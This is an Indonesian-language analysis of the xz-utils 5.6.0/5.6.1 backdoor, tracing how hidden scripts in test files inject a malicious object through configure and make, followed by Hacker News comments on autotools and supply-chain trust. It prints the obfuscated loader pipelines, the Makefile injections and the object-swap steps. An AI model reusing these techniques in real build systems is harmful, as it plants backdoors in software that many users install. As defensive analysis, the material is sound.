- Serangan xz terbagi menjadi injeksi kode shell pada tahap configure dan injeksi file objek pada tahap make; analisis ini menelusuri bagaimana skrip dalam tarball distribusi xz 5.6.0 dan 5.6.1 menyisipkan file objek backdoor ke dalam build
- Kode berbahaya dan file objek disembunyikan dengan dikompresi dan dienkripsi seolah-olah merupakan file input uji biner di
tests/files, dan deskripsi README yang sudah ada—“file uji buatan tangan”—membuat penyamaran ini lebih mudah
- Kode yang ditambahkan ke
m4/build-to-host.m4 mencari bad-3-corrupt_lzma2.xz, memulihkannya dengan tr dan xz -d, lalu menjalankannya dengan /bin/sh; pada 5.6.1 juga terdapat mekanisme ekstensi untuk mencari skrip tambahan dari file uji baru
- Skrip configure mengubah
src/liblzma/Makefile dan libtool agar skrip tersembunyi dijalankan kembali saat make, serta menyesuaikan -z,now dan flag terkait PIC agar ifunc resolver berjalan pada saat linking dinamis awal
- Pada tahap make, objek berbahaya diekstrak dan didekripsi dari
good-large_compressed.lzma, lalu mengganti keluaran build crc64_fast.c dan crc32_fast.c sehingga panggilan RSA_public_decrypt dicegat melalui _get_cpuid
Struktur keseluruhan serangan
- Andres Freund mengumumkan keberadaan serangan xz pada 2024-03-29 di milis publik
oss-security@openwall
- Sehari sebelumnya ia juga memberi tahu Debian security dan daftar privat
distros@openwall
- Pemicunya adalah gejala aneh terkait
liblzma pada instalasi Debian sid, yaitu penggunaan CPU tinggi saat login SSH dan error Valgrind
- Serangan ini secara garis besar terdiri dari dua tahap
- Kode shell disuntikkan saat
configure
- Kode shell ini kembali menyuntikkan kode shell ke
make, lalu menambahkan file objek berbahaya ke build saat make
- Jika file objek berbahaya dimasukkan langsung ke repositori sebagai
evil.o, itu mudah menimbulkan kecurigaan, sehingga penyerang menyembunyikan kode shell dan file objek dengan mengompresi dan mengenkripsinya di dalam file input uji biner
- Direktori
tests/files sudah ada sebelum kemunculan Jia Tan, dan README menjelaskan bahwa file-file itu dipakai untuk menguji implementasi decoder .xz, .lzma, .lz; sebagian dibuat langsung dengan hex editor sehingga “tidak ada kode sumber yang lebih baik daripada file itu sendiri”
- Penyerang memanfaatkan konteks ini agar tampak seperti sekadar menambahkan beberapa file uji baru
Titik eksekusi yang menjadi sasaran backdoor
- Efek akhir skrip adalah membuat fungsi
_get_cpuid dari file objek berbahaya dipanggil sebagai bagian dari GNU indirect function(ifunc) resolver
- ifunc resolver umumnya dapat dipanggil secara lazy saat program berjalan, tetapi demi keamanan, pendekatan yang banyak dipakai adalah memanggil semuanya pada tahap awal dynamic linking lalu memetakan GOT dan PLT sebagai read-only
- ifunc resolver berbahaya dapat berjalan pada tahap awal ketika GOT dan PLT masih bisa ditulis
- Backdoor mencari
RSA_public_decrypt dalam tabel dan menggantinya dengan versi penyerang
- Fungsi pengganti menjalankan kode penyerang ketika sertifikat SSH yang tepat diberikan
Tahap configure: penyamaran build-to-host.m4
- xz-utils menggunakan GNU autoconf, dan biasanya
configure serta file m4 pendukung disertakan dalam distribusi tarball, bukan di repositori sumber
- Serangan dimulai dengan menambahkan pustaka pendukung tak terduga
m4/build-to-host.m4 ke tarball xz 5.6.0 dan xz 5.6.1
build-to-host.m4 berbahaya memuat perubahan yang tampak masuk akal jika dibandingkan dengan file standar
- serial dinaikkan dari
3 ke 30
- Tahun hak cipta diubah dari
2023 menjadi 2023-2024
- Beberapa perubahan shell dan m4 yang sulit dibaca ditambahkan
- Inti sebenarnya adalah kode yang mencari pola tertentu di dalam distribusi dengan
grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/
- File yang cocok dengan pola ini adalah
./tests/files/bad-3-corrupt_lzma2.xz
- Akibatnya,
gl_am_configmake menunjuk ke file uji ini
gl_path_map disetel ke tr "\t \-_" " \t_\-", yang menukar tab dan spasi, serta underscore dan tanda hubung
Pemulihan skrip pertama yang tersembunyi
gl_[$1]_prefix mengambil elemen setelah titik terakhir pada nama file, sehingga menjadi xz
- Namanya tampak seperti prefix, tetapi sebenarnya merupakan ekstensi file
- Ini menjadi nama perintah kompresi yang kemungkinan besar sudah terpasang di mesin build
- String perintah yang kemudian dibuat terlihat menggunakan
sed "r\n", tetapi sebenarnya lebih mirip cat yang diobfuscate
r\n pada sed adalah perintah untuk membaca file yang tidak ada bernama \n, sehingga tidak melakukan apa pun
- Karena tidak ada
-n, input dikeluarkan apa adanya
- Perintah yang benar-benar dijalankan berbentuk seperti berikut
cat ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d
- Perintah ini dievaluasi melalui
AC_CONFIG_COMMANDS selama proses eksekusi config.status
- Output yang dipulihkan menampilkan
####Hello#### dan ####World####; menurut README, stream pertama dan ketiga dari bad-3-corrupt_lzma2.xz adalah stream xz valid, dan hanya stream tengah yang data LZMA2-nya rusak
Perbedaan antara 5.6.0 dan 5.6.1
- Pada xz 5.6.0, skrip pertama yang dipulihkan memotong rentang byte tertentu dari
good-large_compressed.lzma, mentransformasikannya, lalu mengekstraknya sebagai stream LZMA mentah dan meneruskannya ke /bin/sh
- Skrip pertama pada xz 5.6.1 memuat lima kali baris yang mencoba keluar jika bukan Linux
[ ! $(uname) = "Linux" ] && exit 0
- Di dalam skrip panjang yang kemudian dianalisis juga ada baris pengecekan Linux khusus 5.6.1
- Baris itu memiliki bug karena tidak ada spasi di sekitar
=, sehingga tidak berfungsi
- Pada 5.6.1, jumlah byte terakhir untuk
head, offset tail, dan argumen tr berbeda dari 5.6.0
- Dalam contoh, 5.6.1 mengekstrak
16×2048+939 = 33,707 byte
- Setelah itu
tail -c +31233 memakai 31.233 byte terakhir
- Pipeline ekstraksi terdiri dari langkah-langkah berikut
- Mendekompresi
good-large_compressed.lzma dengan xz -dc
- Mengekstrak rentang byte tertentu dengan pipeline
head
- Memilih bagian akhir dengan
tail
- Menerapkan sandi substitusi sederhana dengan
tr
- Mengekstrak stream LZMA mentah dengan
xz -F raw --lzma1 -dc
- Menjalankan hasilnya dengan
/bin/sh
Mekanisme ekstensi pada 5.6.1
- Di skrip panjang terdapat beberapa titik yang melakukan
eval terhadap variabel yang belum disetel
- Contoh:
eval $zrKcVq, eval $zrKcSS
- Kemungkinan ini adalah titik ekstensi untuk output debug atau mekanisme lain di masa depan yang akan menyetel nilainya
- Jika
config.status ada, skrip membaca LD, CC, GCC, srcdir, build, enable_shared, enable_static, gl_path_map, dan lainnya
- Kode ekstensi baru yang masuk di 5.6.1 mencari dua magic string di
tests/files
- String awal:
~!:_ W
- String akhir:
|_!{ -
- Jika kedua string berada dalam file yang sama, byte di antaranya diekstrak, lalu outputnya di-
eval setelah melalui tr dan ekstraksi LZMA2 mentah
- Mekanisme ini tampaknya merupakan struktur untuk memasukkan skrip baru ke file uji lain di kemudian hari tanpa perlu membuat alasan bahwa file uji biner lama dibuat ulang
Kondisi eksekusi tahap configure
- Skrip keluar diam-diam jika kondisi yang dibutuhkan backdoor tidak terpenuhi
- Dukungan GNU ifunc harus aktif
config.status harus berisi ["HAVE_FUNC_ATTRIBUTE_IFUNC"]=" 1"
config.h harus berisi define HAVE_FUNC_ATTRIBUTE_IFUNC 1
- Build pustaka bersama harus aktif
enable_shared harus bernilai yes
- Target build harus x86-64 Linux
build harus memenuhi kondisi ^x86_64 dan linux-gnu$
- Sumber terkait CRC ifunc harus tetap apa adanya
crc64_fast.c
crc32_fast.c
crc_x86_clmul.h
- Kondisi compiler dan linker juga diperiksa
GCC=yes
CC=gcc
- Output
LD -v berisi GNU ld
- File uji yang berisi backdoor,
good-large_compressed.lzma dan bad-3-corrupt_lzma2.xz, harus ada
Modifikasi Makefile dan libtool
- Jika
debian/rules ada atau RPM_ARCH=x86_64, kode yang memodifikasi src/liblzma/Makefile dijalankan pada tahap configure
- Pertama, skrip memastikan beberapa baris yang akan dipakai nanti sebagai titik penyisipan ada di dalam Makefile
ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
am__uninstall_files_from_dir = {
am__install_max =
am__vpath_adj_setup =
am__include = include
all: all-recursive
LTLIBRARIES = $(lib_LTLIBRARIES)
AM_V_CCLD = $(am__v_CCLD_$(V))
- Pada
libtool, skrip memastikan adanya pic_flag=" -fPIC -DPIC"
- Setelah itu, dengan
sed -i, baris-baris dengan karakter berikut disebar di berbagai bagian Makefile
am__test = bad-3-corrupt_lzma2.xz
am__strip_prefix = tr ...
am__dist_setup = ... | xz -d ... | $(SHELL)
am__test_dir = $(top_srcdir)/tests/files/$(am__test)
am__test_dir dari namanya tampak seperti direktori, tetapi sebenarnya menunjuk ke file
- Baris-baris tambahan tidak dikumpulkan di satu tempat, melainkan disisipkan di berbagai bagian Makefile agar Makefile yang dihasilkan tampak rumit namun masuk akal
Flag linker dan eksekusi rekursif
- Skrip tahap configure menambahkan
-Wl,--sort-section=name,-X ke liblzma_la_LDFLAGS
- Jika
LDFLAGS yang ada belum memuat -z,now atau -z -Wl,now, skrip juga menambahkan -z,now
-Wl,now memaksa perilaku LD_BIND_NOW dengan membuat dynamic loader menyelesaikan semua simbol pada saat program dimulai
- Dalam proses ini, ifunc resolver dijalankan saat startup
- Backdoor dapat berjalan ketika GOT dan PLT masih bisa ditulis
- Flag PIC pada
libtool diubah sebagai berikut
- Sebelumnya:
-fPIC -DPIC
- Setelah diubah:
-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections
- Skrip juga menambahkan
AM_V_CCLD dan potongan shell panjang ke Makefile
- Di akhir, skrip menjalankan
sed rpath $(am__test_dir) | $(am__dist_setup)
sed rpath juga berfungsi sebagai cat yang diobfuscate
- Akibatnya, pipeline berikut dijalankan lagi selama make
cat ./tests/files/bad-3-corrupt_lzma2.xz |
tr "\t \-_" " \t_\-" |
xz -d |
/bin/sh
Tahap make: ekstraksi file objek
- Pada tahap make, skrip dijalankan kembali dari direktori
src/liblzma
- Karena
config.status tidak ada di direktori saat ini, bagian pengeditan Makefile dari tahap configure dilewati
- Sebagai gantinya, jika
.libs/liblzma_la-crc64_fast.o dan .libs/liblzma_la-crc32_fast.o ada, skrip menilai bahwa proses sedang berada di tahap make dan menjalankan kode berikutnya
- Pada 5.6.1 juga ada hook ekstensi baru untuk tahap make
- String awal:
jV!.^%
- String akhir:
%.R.1Z
- Tidak ada file uji yang memiliki string tersebut, sehingga tampaknya merupakan struktur untuk ekstensi di masa depan
- Skrip kembali memastikan sumber terkait CRC ifunc sesuai dengan yang diharapkan
- Skrip juga memastikan flag kompilasi dan linker yang ditambahkan pada tahap configure sudah diterapkan
../../libtool harus memuat flag PIC tambahan
liblzma_la_LINK harus memuat -z,now atau -z -Wl,now
- Jika ada
lazy, skrip keluar
Dekripsi dan pemilihan objek berbahaya
- Skrip memilih salah satu dari dua nilai offset berdasarkan isi
gettext.m4
- Karena
gettext.m4 pada tarball xz yang didistribusikan tidak memiliki string pemeriksaan, pada contoh build seluruh input diambil
good-large_compressed.lzma kembali didekompresi, dan 33.707 byte diekstrak dengan pipeline head bernama i yang sudah disetel sebelumnya
- Output tersebut dipecah per byte, lalu
awk menjalankan fungsi dekripsi mirip RC4
- Versi 5.6.1 mengulang loop kedua hingga 8192
- Versi 5.6.0 mengulang loop di posisi yang sama hingga 4096
- Output yang didekripsi kemudian didekompresi lagi dengan
xz -dc --single-stream
--single-stream membuat proses berhenti pada marker EOF xz pertama, sehingga bagian yang sebelumnya diekstrak dengan tail tidak dibaca
- Hasil akhirnya ditulis ke
liblzma_la-crc64-fast.o
Penggantian objek CRC
- Skrip mencadangkan keluaran build asli
.libs/liblzma_la-crc64_fast.o ke nama yang mirip, .libs/liblzma_la-crc64-fast.o
- Ini memanfaatkan perbedaan underscore (
crc64_fast) dan tanda hubung (crc64-fast)
- Berikutnya, skrip mengompilasi isi
crc64_fast.c yang telah dimodifikasi dengan sed, sekaligus memasukkan objek berbahaya hasil ekstraksi liblzma_la-crc64-fast.o, lalu menimpa .libs/liblzma_la-crc64_fast.o
- Kode C yang disisipkan membuat fungsi baru
_is_arch_extension_supported, yang memanggil _get_cpuid di dalamnya
crc64_resolve yang ada diubah agar memanggil _is_arch_extension_supported() alih-alih is_arch_extension_supported()
_get_cpuid adalah fungsi yang disediakan file objek backdoor, dan menjalankan tindakan tambahan sebelum mengembalikan informasi cpuid
- Secara khusus, ia mengubah GOT dan PLT untuk mencegat panggilan
RSA_public_decrypt
Pemrosesan sisi crc32 dan pembersihan
- Jika modifikasi crc64 berhasil, skrip menerapkan modifikasi serupa ke
crc32_fast.c
- Di sisi crc32, file objek backdoor tidak ditambahkan
- Ini dilakukan agar objek backdoor tidak dimasukkan dua kali ke dalam build
- Tidak jelas mengapa ifunc crc32 dan crc64 sama-sama dicegat
- Analisis menilai salah satu saja tampaknya sudah cukup
- Ada kemungkinan ini dilakukan agar kedua kode dispatch terlihat mirip di debugger
- Jika kedua kompilasi berhasil, skrip me-link ulang file
.la dengan liblzma_la_LINK
- Jika linking berhasil tetapi
.libs/liblzma.so tidak ada, ini dianggap gagal dan backup dipulihkan
- Terlepas dari sukses atau tidaknya,
.libs/liblzma.a, .libs/liblzma.la, .libs/liblzma.lai, dan .libs/liblzma.so* dihapus
- Diasumsikan tahap linking asli dari Makefile akan membuatnya lagi setelah itu
- Pada jalur kegagalan, objek crc32 dan crc64 yang dicadangkan dikembalikan ke nama aslinya
- Terakhir, skrip menghapus file sementara dan backup, sehingga menyuntikkan objek berbahaya ke artefak make tanpa meninggalkan jejak
1 komentar
Komentar Hacker News
Sebagai orang yang sudah lama tidak menyukai autotools, saya ingin bilang bahwa kejadian ini membenarkan posisi saya, tetapi jika sistem build cukup kompleks untuk mendukung banyak platform, maka mau tak mau sistem itu akan menjadi cukup sulit dipahami sampai-sampai seseorang bisa menyisipkan hal seperti ini
Tetap saja, fakta bahwa banyak perangkat lunak pada praktiknya dibangun dengan skrip shell cargo cult raksasa yang tidak benar-benar dipahami siapa pun secara utuh adalah masalah besar
Jika skrip build ditulis dalam Python, akan jauh lebih sulit untuk mengaburkan backdoor. Kode aneh akan terlihat oleh semua orang. Kode bash cenderung dianggap normal meski sebenarnya tidak terbaca
./configure && make && make installAkar kompleksitasnya adalah tidak adanya best practice yang benar-benar mapan untuk alur itu, jadi dalam kondisi seperti ini semuanya tidak bisa diselesaikan hanya dengan satu konfigurasi build seperti
mybuild.tomlDan juga mengapa membangun sesuatu seperti library kompresi, yang secara esensial hanya perlu menangani matematika dan alokasi memori, sampai membutuhkan sistem yang rumit
Dari sudut pandang pengembang, ini mengejutkan, dan juga menunjukkan bahwa sesuatu yang menurut saya tampak seperti teknik serangan kelas atas mungkin bagi orang yang bekerja di tahap ini hanyalah tingkat pemula sampai menengah
Di HN ada hal-hal dengan level yang jauh lebih tinggi dari ini, jadi kalau ada cukup uang atau insentif lain, saya rasa ini baru permulaan dari apa yang mungkin dilakukan. Mengingat banyaknya paket di GitHub dan jutaan library yang ada, vektor ini terlalu efektif, jadi saya yakin dalam beberapa bulan ke depan akan terungkap ratusan kasus serupa
Saya khawatir untuk vendor perangkat keras konsumen dan prosumer seperti Philips Hue, Alexa, SumUp, produsen kamera, Netgear, dan TP-Link. Produk mereka penuh dengan library open source, dan saya 100% yakin sebagian besar tim pengembang tidak menghabiskan waktu untuk mencari vektor injeksi tersembunyi seperti ini
Jika sebuah organisasi komersial menjual keandalan, maka mereka melakukan analisis supply chain sebelum mengadopsi dependensi. Karena itu biasanya mereka membayar Red Hat untuk menjaga distribusi Linux yang stabil, dan proyek seperti FreeBSD sangat membatasi perangkat lunak yang masuk ke instalasi dasarnya
Jika Anda terdampak kasus ini, memang disayangkan, tetapi itu tanggung jawab Anda. Jika Anda khawatir pengembang perangkat lunak yang Anda pakai gratis seperti free beer bisa berubah haluan, maka berikan insentif agar mereka tidak melakukannya, yaitu bayar mereka, atau fork proyeknya dan tambahkan pengamanan Anda sendiri
Jika Anda khawatir dependensi dalam perangkat lunak komersial bisa terkena serangan supply chain, maka Anda harus menegosiasikan kontrak yang mencakup kompensasi atas kerugian itu. Jika tidak mau melakukan itu, berarti tidak profesional
Tambahan lagi, saya serius mengatakan bahwa bahkan dependensi paling mendasar seperti SSH pun harus diperiksa supply chain-nya
Tulisan-tulisan awal keamanan informasi juga hanya mampu menjelaskan sebagian kode, dan belum membahas strategi serangan secara keseluruhan. Itu karena serangan dan kodenya memang canggih. Fakta bahwa analisis awal menjelaskan serangan ini dengan cara yang berbeda-beda juga karena memang tidak mudah dipahami, dan baru belakangan muncul tulisan yang mengatakan “akhirnya ini tampaknya adalah serangan remote code execution”
Sekarang bahkan sudah ada pemindai untuk mendeteksi kerentanan ini di server, jadi semua orang bisa berkata, “oh, itu serangan yang sangat sederhana dan bodoh, kenapa tidak ketahuan lebih awal?”
Ini berlaku untuk semua perangkat. Saya juga tidak suka Android harus memakai kernel lama, dan saya juga tidak suka ketika macOS menjalankan turunan Darwin/BSD yang usang. Saya khawatir dengan upaya yang dibutuhkan untuk melakukan backport
Tentu saja ini bukan berarti open source tidak punya kerentanan
Bisa jadi justru kita harus lebih takut pada backdoor tak terlihat di dalam perangkat lunak proprietary yang hampir tidak mungkin ditemukan
Sepertinya infografik Thomas Roccia belum disebut di sini: https://twitter.com/fr0gger_/status/1774342248437813525
Misalnya, oss-fuzz membangun xz dengan langsung meng-clone repositori GitHub. Backdoor hanya ada di tarball, bukan di repositori, jadi tidak mungkin oss-fuzz menemukan backdoor tersebut. Karena itu, PR oss-fuzz itu bisa saja perubahan asli yang tidak terkait dengan backdoor
Seberapa besar kemungkinan ada akun atau orang lain di sekitar Andreas Freund yang sudah lebih dulu tahu bahwa backdoor itu akan diungkap. Ini juga membuat saya bertanya-tanya apakah masih ada orang dalam lain di sekitarnya
.gitignore. Saat ini hal seperti itu sulit dideteksiDari sudut pandang pengamat yang polos, bagian yang paling menonjol adalah ini
“Banyak file dibuat secara manual dengan editor heksadesimal, jadi tidak ada ‘source code’ yang lebih baik daripada file itu sendiri.” Saya bisa memahami bahwa itu mungkin terjadi pada library parsing seperti liblzma. Bagi penyerang, ini mungkin hanya terlihat seperti menambahkan beberapa file uji baru
File itu sendiri memang menakutkan, tapi saya paham alasannya. Meski begitu, bukankah setidaknya itu bisa dipisahkan dari build
“Biasanya skrip configure dan library pendukung ditambahkan hanya ke distribusi tarball, bukan ke repositori source. Distribusi xz juga seperti ini.”
Mengesampingkan kemarahan seremonial terhadap autotools, saya tidak mengerti kenapa file uji harus masuk ke tarball. Memang tes berbahaya bisa saja menginfeksi mesin pengembang, tetapi jika tarball itu untuk membangun artefak akhir, bukankah kebijakannya seharusnya hanya menyertakan yang diperlukan. Terutama jika file uji itu berupa gumpalan biner yang tidak bisa diaudit
Namun terakhir kali kami melakukannya, kami lebih memilih Git upstream dan menghasilkan sendiri keluaran autoconf yang diperlukan. Konsep tarball rilis yang berisi hal-hal yang tidak ada di Git selalu terasa tidak nyaman bagi saya
Harus bisa mengompilasi kode di mesin target lalu menjalankan tes
“Perbedaan pertama adalah bahwa skrip itu dibuat agar pasti, benar-benar berhenti jika tidak dijalankan di Linux.”
Pemeriksaan yang berulang-ulang itu memang misterius. Hipotesis saya adalah penyerang mungkin memasukkan pengulangan itu agar tampak meyakinkan seperti input uji untuk library kompresi
Atau mungkin cuma karena malas
Kelihatannya disengaja, tetapi saya tidak tahu kenapa itu ada. Saya sempat menduga itu ditambahkan untuk mengisi ukuran karena xz cenderung melewati kompresi jika input terlalu pendek atau tidak cukup kompleks, tetapi setelah dihapus lalu dikompresi ulang dengan xz, hasilnya tetap terkompresi dengan baik dan plaintext aslinya tidak tersisa dalam byte arsip terkompresi
Hal lain yang saya ketahui saat mencoba mereproduksi byte persis dari file
.xzyang dikomit ke Git adalah bahwa stream xz dari skrip itu tampaknya tidak dikompresi dengan preset xz bawaan. Saya harus memakaixz --lzma2=dict=65536 -c stream_2untuk mereproduksinya, dan semua preset bernomor bawaan memilih ukuran kamus yang berbeda. Ini juga tampak disengaja, tetapi saya tidak mengerti alasannyaTanpa pengulangan itu, mungkin file terkompresinya akan menghasilkan biner aneh yang memicu alat keamanan atau antivirus
Tragis sekaligus lucu bahwa teknologi modern telah menjadi sangat rumit dan tidak perlu begitu sulit dipahami, dan itu terus memburuk. Rasanya seperti para pengembang menikmati hal itu secara sadistis
Cukup menakjubkan bahwa alat-alat kita bisa mengikuti meningkatnya kompleksitas produk yang kita buat. Sejujurnya, dalam kebanyakan kasus semuanya justru makin sederhana, dan ini lebih terasa seperti orang-orang yang tidak mau belajar hal baru
Seseorang yang merekrut orang-orang ini untuk menyusup ke proyek ini kemungkinan telah menghabiskan waktu yang sangat besar untuk membuatnya lolos dari deteksi dalam jangka panjang. Untungnya, karena terlalu rumit, mereka tidak berhasil mempertimbangkan semua elemennya
Karena itu saya tetap melihat bahwa dari sisi keamanan, open source akan selalu lebih baik daripada closed source. Tentu saja, insiden ini mengungkap cacat besar dalam rantai pasok, dan juga menunjukkan betapa elemen dasar FOSS diremehkan sehingga para maintainer rentan terhadap manipulasi
Tapi kalau serangan yang sama terjadi di dalam perusahaan swasta? Kemungkinan besar bahkan tidak perlu obfuscation tingkat tinggi. Dengan PR yang cukup besar dan tenggat yang sudah dekat, hal seperti ini bisa diselundupkan ke sistem produksi dengan upaya minimal. Pada saat perusahaan sadar apa yang terjadi, pelakunya mungkin sudah terbang ke negara tanpa perjanjian ekstradisi dan menjual data bocoran lewat Tor atau dark web
Jika Anda direkrut oleh perusahaan swasta, perusahaan tahu siapa Anda. Itu sendiri adalah daya cegah langsung terhadap tindakan mencurigakan. Di GitHub, tidak ada yang tahu siapa Anda. Mungkin lebih sulit menyisipkan backdoor ke proyek tanpa ketahuan, tetapi kalaupun ketahuan, tidak ada risiko yang harus ditanggung. Anda bisa terus mencoba sesuka hati. Jia Tan masih belum tertangkap, dan bahkan tidak perlu merancang seluruh hidupnya untuk tinggal di negara tanpa perjanjian ekstradisi. Kecuali kalau memang sejak awal sudah berada di sana
Dan setelah masuk pun, Anda tidak bisa seenaknya commit ke proyek target. Manajer dan atasan di atasnya punya prioritas lain. Manajemen perusahaan yang sering disfungsional justru bisa berfungsi sebagai pencegah di sini. Anda bukan hanya harus membenarkan kodenya, tetapi juga menjelaskan mengapa Anda mengerjakan hal itu sejak awal
Bahkan negara yang hubungannya buruk pun bisa menyerahkan seseorang sebagai bagian dari negosiasi jika itu menguntungkan secara politik. Bahkan Rusia pun mungkin tidak akan menahan Snowden kalau dia bukan pembocor rahasia negara. Kalau cuma kebocoran data biasa, mungkin dia sudah ditukar dengan oligarki yang ditangkap di tempat lain karena pencucian uang
Hanya dengan membuat daftarnya saja sudah akan berguna
Pelajaran dari insiden ini adalah bahwa mungkin kita tidak boleh mengizinkan anonimitas bagi kontributor inti proyek open source yang penting. Serangan ini berhasil, dan penyerangnya kemungkinan akan lolos tanpa konsekuensi apa pun, karena dia anonim
Langkah seperti itu tidak akan membantu, dan akan mudah dilewati oleh aktor negara atau ancaman persisten tingkat lanjut serupa dengan menambahkan satu tahap pencurian identitas lagi ke dalam serangan, atau memakai agen yang bisa mereka lindungi jika backdoor ditemukan
Sementara itu, hambatan teknis yang diperlukan untuk prosedur semacam itu kemungkinan akan sangat merugikan seluruh komunitas open source
Solusinya di sini adalah belajar dari serangan ini dan beralih ke praktik yang membuat serangan serupa lebih sulit. File yang tidak ada di repositori jangan pernah dimasukkan ke release tarball. Kode hasil generasi harus semuanya di-check in, dan script build harus menghasilkan ulang kode turunan lalu gagal jika hasilnya berbeda dari kode yang sudah di-check in. Data yang sulit dipahami seharusnya tidak boleh diakses selama proses release build, dan pengujian yang bergantung pada data biner harus dibangun sepenuhnya terpisah dari biner rilis
Pertama, cukup banyak kontributor penting, terutama di bidang keamanan, memilih beraktivitas dengan nama samaran karena alasan yang sah. Memaksa mereka mengungkap identitas akan membuat mereka pergi
Kedua, jika seperti dugaan banyak orang ada badan intelijen di balik ini, maka badan seperti itu tetap bisa menciptakan identitas “asli”. Pada akhirnya Anda justru menyingkirkan orang yang membantu, tetapi tidak berhasil menyingkirkan penyerang
Kalau pemerintah terlibat, tidak ada batasnya. Satu-satunya cara adalah mewajibkan kehadiran fisik di tempat yang tepercaya, sambil berharap tempat itu bukan berada di yurisdiksi penyerang
Kalau seseorang membuat library lalu orang lain mulai memakainya, apakah dia dipaksa mengungkap identitas? Apakah maintainer dibayar?
Kalau pernah bekerja dalam pengembangan, baik tertutup maupun terbuka, Anda tahu bahwa setengah dari developer malas saja menyetujui PR. Linus Torvalds hampir merupakan pengecualian langka yang menghabiskan sepanjang hari untuk menunjukkan masalah
Kalau seseorang benar-benar cukup teliti sampai mau memperhatikan detail, orang itu sering dianggap penghambat pengembangan. Timbul ketegangan dengan tim karena dianggap terlalu cerewet
Terus terang, saya sendiri sedang dalam situasi serupa sekarang. Bukan saya yang jadi pihak cerewet, melainkan salah satu developer yang saya pekerjakan. Sayangnya, ketelitiannya tidak dihargai dengan baik sehingga dia harus dikeluarkan dari tim. Tidak membantu juga bahwa dia berasal dari Eropa Timur dan cenderung memberi umpan balik dengan sangat blak-blakan
Utilitas Unix sudah teruji selama waktu yang lama. Saya berharap kernel dan utilitas inti dibekukan saja dan tidak diubah. Kecuali kalau memang benar-benar perlu
Maksudnya, kalau tidak rusak, jangan diperbaiki. kerajaan software tampak seperti di luar kendali
Sesekali ada contoh cemerlang yang memang dibuat dengan benar, tetapi secara keseluruhan rasanya masuk akal untuk mengatakan bahwa hal-hal seperti itu sudah sepenuhnya tersisih